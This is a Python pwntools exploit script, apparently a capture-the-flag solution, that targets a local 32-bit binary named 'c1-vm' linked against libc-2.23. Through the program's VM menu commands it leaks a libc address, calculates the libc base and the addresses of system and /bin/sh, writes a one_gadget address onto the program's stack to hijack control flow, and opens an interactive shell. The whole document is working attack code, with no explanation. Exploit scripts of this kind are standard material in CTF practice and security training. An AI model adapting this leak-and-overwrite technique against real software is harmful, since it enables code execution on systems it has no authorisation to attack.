from
pwn
import
*
context.arch
=
'i386'
context.log_level
=
'debug'
p
=
process(
"./c1-vm"
)
libc
=
ELF(
"./libc-2.23.so"
)
p.recvuntil(
"q: Exits\n\n"
)
bin_sh_offset
=
0x15ba3f
gdb.attach(p,
'b*0x8048784'
)
pause()
p.sendline(
str
(
0x10
))
p.sendline(
"m"
)
for
i
in
range
(
19
):
p.sendline(
"n"
)
p.recvuntil(b
"Value: "
)
print
(
"leak libc addr"
)
p.sendline(
"p"
)
p.recvuntil(b
"Value: "
)
leak_old
=
int
(p.recvuntil(
"\n"
)[:
-
1
],
10
)
leak
=
leak_old
+
2
*
*
32
success(
"leak libc addr: "
+
hex
(leak))
libc_base
=
leak
-
0x1c7970
success(
"libc base: "
+
hex
(libc_base))
system
=
libc_base
+
libc.sym[
"system"
]
bin_sh
=
libc_base
+
bin_sh_offset
ogg
=
[
0x3ac3c
,
0x3ac3e
,
0x3ac42
,
0x3ac49
,
0x5faa5
,
0x5faa6
]
p.sendline(
"w"
)
print
(
"push system addr in mini stack"
)
p.sendline(
str
(libc_base
+
ogg[
0
]
-
2
*
*
32
))
p.sendline(
"m"
)
for
i
in
range
(
27
):
p.sendline(
"."
)
print
(
"fu zhi ogg"
+
hex
(libc_base
+
ogg[
0
]))
p.sendline(
"w"
)
pause()
p.sendline(
"q"
)
p.interactive()